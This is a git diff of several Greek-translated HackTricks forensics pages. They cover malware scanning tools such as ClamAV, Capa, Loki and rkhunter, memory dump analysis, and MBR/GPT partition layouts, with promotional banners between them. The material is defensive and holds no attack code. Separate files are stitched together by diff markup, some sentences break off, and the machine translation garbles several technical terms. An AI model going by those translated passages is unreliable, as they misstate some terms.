Another important aspect of the scan is file analysis. This involves examining individual files to determine if they are malicious or suspicious. There are various tools and techniques that can be used for file analysis, including static analysis and dynamic analysis. Static analysis involves examining the file's code and structure, while dynamic analysis involves running the file in a controlled environment to observe its behavior.
|
||||||
|
|
||||||
|
##### Process Analysis
|
||||||
|
|
||||||
|
In addition to file analysis, it is also important to analyze running processes on the system. This can help identify any malicious processes that may be running in the background. Tools such as Process Explorer can be used to view and analyze running processes, including their associated files and network connections.
|
||||||
|
|
||||||
|
##### Network Analysis
|
||||||
|
|
||||||
|
Lastly, conducting a network analysis can provide valuable insights into the malware's behavior and communication. This involves monitoring network traffic and analyzing any suspicious connections or activities. Tools such as Wireshark can be used to capture and analyze network packets, allowing for a deeper understanding of the malware's network activity.
|
||||||
|
|
||||||
|
By performing a thorough scan using a combination of these techniques, it is possible to identify and analyze malware on a system. This is an important first step in the malware analysis process and can provide valuable information for further investigation and mitigation.
|
||||||
|
```bash
|
||||||
|
sudo freshclam #Update rules
|
||||||
|
clamscan filepath #Scan 1 file
|
||||||
|
clamscan folderpath #Scan the whole folder
|
||||||
|
```
|
||||||
|
### [Capa](https://github.com/mandiant/capa)
|
||||||
|
|
||||||
|
**Capa** ανιχνεύει δυνητικά κακόβουλες **ικανότητες** σε εκτελέσιμα αρχεία: PE, ELF, .NET. Έτσι, θα βρει πράγματα όπως τακτικές Att\&ck ή ύποπτες ικανότητες όπως:
|
||||||
|
|
||||||
|
* έλεγχος για σφάλμα OutputDebugString
|
||||||
|
* εκτέλεση ως υπηρεσία
|
||||||
|
* δημιουργία διεργασίας
|
||||||
|
|
||||||
|
Βρείτε το στο [**αποθετήριο Github**](https://github.com/mandiant/capa).
|
||||||
|
|
||||||
|
### IOCs
|
||||||
|
|
||||||
|
IOC σημαίνει Indicator Of Compromise. Ένα IOC είναι ένα σύνολο **συνθηκών που αναγνωρίζουν** ορισμένο ανεπιθύμητο λογισμικό ή επιβεβαιωμένο **κακόβουλο λογισμικό**. Οι Ομάδες Μπλε χρησιμοποιούν αυτού του είδους τον ορισμό για να **αναζητήσουν αυτού του είδους τα κακόβουλα αρχεία** στα **συστήματά τους** και τις **δικτυακές τους υποδομές**.\
|
||||||
|
Η κοινή χρήση αυτών των ορισμών είναι πολύ χρήσιμη, καθώς όταν το κακόβουλο λογισμικό αναγνωρίζεται σε έναν υπολογιστή και δημιουργείται ένα IOC για αυτό, άλλες Ομάδες Μπλε μπορούν να το χρησιμοποιήσουν για να αναγνωρίσουν το κακόβουλο λογισμικό πιο γρήγορα.
|
||||||
|
|
||||||
|
Ένα εργαλείο για τη δημιουργία ή τροποποίηση των IOC είναι το [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||||
|
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**Redline**](https://www.fireeye.com/services/freeware/redline.html) για να **αναζητήσετε καθορισμένα IOC σε μια συσκευή**.
|
||||||
|
|
||||||
|
### Loki
|
||||||
|
|
||||||
|
Το [**Loki**](https://github.com/Neo23x0/Loki) είναι ένα εργαλείο σάρωσης για απλούς δείκτες συμπεριφοράς.\
|
||||||
|
Η ανίχνευση βασίζεται σε τέσσερις μεθόδους ανίχνευσης:
|
||||||
|
```
|
||||||
|
1. File Name IOC
|
||||||
|
Regex match on full file path/name
|
||||||
|
|
||||||
|
2. Yara Rule Check
|
||||||
|
Yara signature matches on file data and process memory
|
||||||
|
|
||||||
|
3. Hash Check
|
||||||
|
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||||
|
|
||||||
|
4. C2 Back Connect Check
|
||||||
|
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||||
|
```
|
||||||
|
### Linux Malware Detect
|
||||||
|
|
||||||
|
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένα πρόγραμμα σάρωσης για κακόβουλο λογισμικό σε Linux που έχει κυκλοφορήσει υπό την άδεια GNU GPLv2 και έχει σχεδιαστεί γύρω από τις απειλές που αντιμετωπίζονται σε κοινόχρηστα περιβάλλοντα φιλοξενίας. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης παραβίασης στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από τις υποβολές των χρηστών με το χαρακτηριστικό ελέγχου του LMD και από πόρους της κοινότητας κακόβουλου λογισμικού.
|
||||||
|
|
||||||
|
### rkhunter
|
||||||
|
|
||||||
|
Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό.
|
||||||
|
```bash
|
||||||
|
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||||
|
```
|
||||||
|
### FLOSS
|
||||||
|
|
||||||
|
[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κρυπτογραφημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές.
|
||||||
|
|
||||||
|
### PEpper
|
||||||
|
|
||||||
|
Το [PEpper](https://github.com/Th3Hurrican3/PEpper) ελέγχει μερικά βασικά πράγματα μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, μερικούς κανόνες yara).
|
||||||
|
|
||||||
|
### PEstudio
|
||||||
|
|
||||||
|
Το [PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει να λάβετε πληροφορίες για τα εκτελέσιμα των Windows, όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά επίσης θα ελέγξει τον ιότοπο και θα βρει δυνητικές τεχνικές Att\&ck.
|
||||||
|
|
||||||
|
### Detect It Easy(DiE)
|
||||||
|
|
||||||
|
Το [**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύσετε αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρείτε **packers**.
|
||||||
|
|
||||||
|
### NeoPI
|
||||||
|
|
||||||
|
Το [**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) είναι ένα σενάριο Python που χρησιμοποιεί διάφορες **στατιστικές μεθόδους** για να ανιχνεύσει **κρυπτογραφημένο** και **κρυφό** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίου. Ο σκοπός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυμμένου κώδικα web shell**.
|
||||||
|
|
||||||
|
### **php-malware-finder**
|
||||||
|
|
||||||
|
Το [**php-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κρυπτογραφημένο**/**αμφίβολο κώδικα** καθώς και αρχεία που χρησιμοποιούν συχνά **PHP** λειτουργίες που χρησιμοποιούνται σε **κακόβουλο λογισμικό**/webshells.
|
||||||
|
|
||||||
|
### Apple Binary Signatures
|
||||||
|
|
||||||
|
Όταν ελέγχετε ένα δείγμα **κακόβουλου λογισμικού**, πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **συνδεθεί** με **κακόβουλο λογισμικό**.
|
||||||
|
```bash
|
||||||
|
#Get signer
|
||||||
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
|
||||||
|
#Check if the app’s contents have been modified
|
||||||
|
codesign --verify --verbose /Applications/Safari.app
|
||||||
|
|
||||||
|
#Check if the signature is valid
|
||||||
|
spctl --assess --verbose /Applications/Safari.app
|
||||||
|
```
|
||||||
|
## Τεχνικές Ανίχνευσης
|
||||||
|
|
||||||
|
### Στοίβα Αρχείων
|
||||||
|
|
||||||
|
Εάν γνωρίζετε ότι ένας φάκελος που περιέχει τα **αρχεία** ενός διακομιστή ιστού ενημερώθηκε **τελευταία φορά σε μια συγκεκριμένη ημερομηνία**. **Ελέγξτε** την **ημερομηνία** δημιουργίας και τροποποίησης όλων των **αρχείων** στον **διακομιστή ιστού** και εάν υπάρχει κάποια **ύποπτη** ημερομηνία, ελέγξτε αυτό το αρχείο.
|
||||||
|
|
||||||
|
### Βάσεις
|
||||||
|
|
||||||
|
Εάν τα αρχεία ενός φακέλου **δεν έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να τα **συγκρίνετε** με τα **τρέχοντα**. Οτιδήποτε έχει τροποποιηθεί θα είναι **ύποπτο**.
|
||||||
|
|
||||||
|
### Στατιστική Ανάλυση
|
||||||
|
|
||||||
|
Όταν οι πληροφορίες αποθηκεύονται σε αρχεία καταγραφής, μπορείτε να **ελέγξετε στατιστικά στοιχεία όπως πόσες φορές έχει προσπελαστεί κάθε αρχείο ενός διακομιστή ιστού, καθώς ένα web shell μπορεί να είναι ένα από τα πιο**.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,58 @@
|
||||||
|
# Ανάλυση αντιγράφου μνήμης
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
## Έναρξη
|
||||||
|
|
||||||
|
Ξεκινήστε την **αναζήτηση** για **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στην [**Ανάλυση Κακόβουλου Λογισμικού**](../malware-analysis.md).
|
||||||
|
|
||||||
|
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||||
|
|
||||||
|
**Το Volatility είναι το κύριο πλαίσιο ανοιχτού κώδικα για την ανάλυση αντιγράφων μνήμης**. Αυτό το εργαλείο Python αναλύει αντίγραφα από εξωτερικές πηγές ή εικονικές μηχανές VMware, εντοπίζοντας δεδομένα όπως διεργασίες και κωδικούς πρόσβασης με βάση το προφίλ του λειτουργικού συστήματος του αντιγράφου. Είναι επεκτάσιμο με πρόσθετα, καθιστώντας το υψηλά ευέλικτο για διερευνητικές ερευνητικές εργασίες.
|
||||||
|
|
||||||
|
**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||||
|
|
||||||
|
|
||||||
|
## Αναφορά κατάρρευσης μικρού αντιγράφου μνήμης
|
||||||
|
|
||||||
|
Όταν το αντίγραφο είναι μικρό (μόνο μερικά KB, ίσως μερικά MB) τότε πιθανότατα είναι μια αναφορά κατάρρευσης μικρού αντιγράφου και όχι ένα αντίγραφο μνήμης.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (216).png>)
|
||||||
|
|
||||||
|
Εάν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε μερικές βασικές πληροφορίες όπως το όνομα της διεργασίας, η αρχιτεκτονική, πληροφορίες εξαίρεσης και τα εκτελούμενα αρθρώματα:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (217).png>)
|
||||||
|
|
||||||
|
Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποκωδικοποιημένες οδηγίες
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (219).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||||
|
|
||||||
|
Πάντως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να πραγματοποιήσετε μια ανάλυση του βάθους του αντιγράφου.
|
||||||
|
|
||||||
|
Θα πρέπει να το **ανοίξετε** χρησιμοποιώντας το **IDA** ή το **Radare** για να το επιθεωρήσετε **λεπτομερώς**.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο ση
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,223 @@
|
||||||
|
# Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Διαμερίσματα
|
||||||
|
|
||||||
|
Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\
|
||||||
|
Η **ελάχιστη** μονάδα ενός δίσκου είναι το **sector** (συνήθως αποτελείται από 512B). Έτσι, η μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού.
|
||||||
|
|
||||||
|
### MBR (Κύριο Μητρώο Εκκίνησης)
|
||||||
|
|
||||||
|
Είναι εγκατεστημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον Η/Υ τι και από πού πρέπει να τοποθετηθεί ένα διαμέρισμα.\
|
||||||
|
Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγράφου εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\
|
||||||
|
Το MBR επιτρέπει **μέγιστο 2,2TB**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (489).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (490).png>)
|
||||||
|
|
||||||
|
Από τα **bytes 440 έως τα 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται τα Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να αποτρέψει τα Windows από την εκκίνηση (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (493).png>)
|
||||||
|
|
||||||
|
**Μορφή**
|
||||||
|
|
||||||
|
| Offset | Μήκος | Στοιχείο |
|
||||||
|
| ----------- | ---------- | ------------------- |
|
||||||
|
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
|
||||||
|
| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα |
|
||||||
|
| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα |
|
||||||
|
| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα |
|
||||||
|
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
|
||||||
|
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
|
||||||
|
|
||||||
|
**Μορφή Εγγραφής Διαμερίσματος**
|
||||||
|
|
||||||
|
| Offset | Μήκος | Στοιχείο |
|
||||||
|
| --------- | -------- | ------------------------------------------------------ |
|
||||||
|
| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) |
|
||||||
|
| 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής |
|
||||||
|
| 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
|
||||||
|
| 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης |
|
||||||
|
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) |
|
||||||
|
| 5 (0x05) | 1 (0x01) | Τέλος κεφαλής |
|
||||||
|
| 6 (0x06) | 1 (0x01) | Τέλος τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
|
||||||
|
| 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους |
|
||||||
|
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
|
||||||
|
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
|
||||||
|
|
||||||
|
Για να τοποθετήσετε ένα MBR στο Linux πρέπει πρώτα να λάβετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||||
|
|
||||||
|
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
|
||||||
|
```bash
|
||||||
|
#Mount MBR in Linux
|
||||||
|
mount -o ro,loop,offset=<Bytes>
|
||||||
|
#63x512 = 32256Bytes
|
||||||
|
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||||
|
```
|
||||||
|
**Διεύθυνση Λογικών Τμημάτων (LBA)**
|
||||||
|
|
||||||
|
Η **Διεύθυνση Λογικών Τμημάτων** (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον **καθορισμό της τοποθεσίας των τμημάτων** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως σε συστήματα δευτερεύουσας αποθήκευσης όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διεύθυνσης. **Τα τμήματα εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο τμήμα να είναι το LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
|
||||||
|
|
||||||
|
### GPT (Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών)
|
||||||
|
|
||||||
|
Ο Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικό για το **παγκοσμίως μοναδικό αναγνωριστικό** για τμήματα, ο GPT ξεχωρίζει με διάφορους τρόπους:
|
||||||
|
|
||||||
|
* **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και το MBR ξεκινούν από το **τομέα 0**. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR.
|
||||||
|
* **Όρια Τμημάτων**: Ο GPT υποστηρίζει έως και **128 τμήματα** σε συστήματα Windows και φιλοξενεί έως και **9,4ΖΒ** δεδομένων.
|
||||||
|
* **Ονόματα Τμημάτων**: Προσφέρει τη δυνατότητα να ονομάζετε τμήματα με έως και 36 χαρακτήρες Unicode.
|
||||||
|
|
||||||
|
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
|
||||||
|
|
||||||
|
* **Επαναληπτικότητα**: Αντίθετα με το MBR, ο GPT δεν περιορίζει την διαίρεση σε τμήματα και δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
|
||||||
|
* **Έλεγχος Κυκλικής Επανάληψης (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση δεδομένων και, όταν ανιχνευθεί, ο GPT προσπαθεί να ανακτήσει τα δεδομένα από άλλη τοποθεσία στο δίσκο.
|
||||||
|
|
||||||
|
**Προστατευτικό MBR (LBA0)**:
|
||||||
|
|
||||||
|
* Ο GPT διατηρεί την συμβατότητα προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτό το χαρακτηριστικό βρίσκεται στον χώρο του παλαιού MBR αλλά σχεδιάστηκε για να αποτρέπει τις παλαιότερες εργαλειοθήκες που βασίζονται στο MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους με GPT.
|
||||||
|
|
||||||
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||||
|
|
||||||
|
**Υβριδικό MBR (LBA 0 + GPT)**
|
||||||
|
|
||||||
|
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
|
||||||
|
Σε λειτουργικά συστήματα που υποστηρίζουν την **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας ενδέχεται να χρησιμοποιείται επίσης για την αποθήκευση του πρώτου σταδίου του κώδικα **εκκίνησης** του **φορτωτή**, αλλά **τροποποιημένος** για να αναγνωρίζει **τμήματα GPT**. Ο φορτωτής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
|
||||||
|
|
||||||
|
**Κεφαλίδα πίνακα τμημάτων (LBA 1)**
|
||||||
|
|
||||||
|
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
|
||||||
|
Η κεφαλίδα του πίνακα τμημάτων καθορίζει τα χρήσιμα τμήματα στο δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων τμημάτων που αποτελούν τον πίνακα τμημάτων (οφσετ 80 και 84 στον πίνακα).
|
||||||
|
|
||||||
|
| Οφσετ | Μήκος | Περιεχόμενα |
|
||||||
|
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μικρότερα μηχανήματα) |
|
||||||
|
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
|
||||||
|
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε μικρότερη λειτουργία (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
|
||||||
|
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (οφσετ +0 μέχρι μέγεθος κεφαλίδας) σε μικρότερη λειτουργία, με αυτό το πεδίο να μηδενίζεται κατά την υπολογιστική διαδικασία |
|
||||||
|
| 20 (0x14) | 4 bytes | Κρατούμενο; πρέπει να είναι μηδέν |
|
||||||
|
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντίγραφου κεφαλίδας) |
|
||||||
|
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντίγραφου κεφαλίδας) |
|
||||||
|
| 40 (0x28) | 8 bytes | Πρώτο χρήσιμο LBA για τμήματα (τελευταίο LBA πρωτεύοντος πίνακα + 1) |
|
||||||
|
| 48 (0x30) | 8 bytes | Τελευταίο χρήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα − 1) |
|
||||||
|
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτή λειτουργία |
|
||||||
|
| 72 (0x48) | 8 bytes | Έναρξη LBA ενός πίνακα καταχωρήσεων τμημάτων (πάντα 2 στον πρωτεύον αντίγραφο) |
|
||||||
|
| 80 (0x50) | 4 bytes | Αριθμός καταχωρήσεων τμημάτων στον πίνακα |
|
||||||
|
| 84 (0x54) | 4 bytes | Μέγεθος μιας μεμονωμένης καταχώρησης τμήματος (συνήθως 80h ή 128) |
|
||||||
|
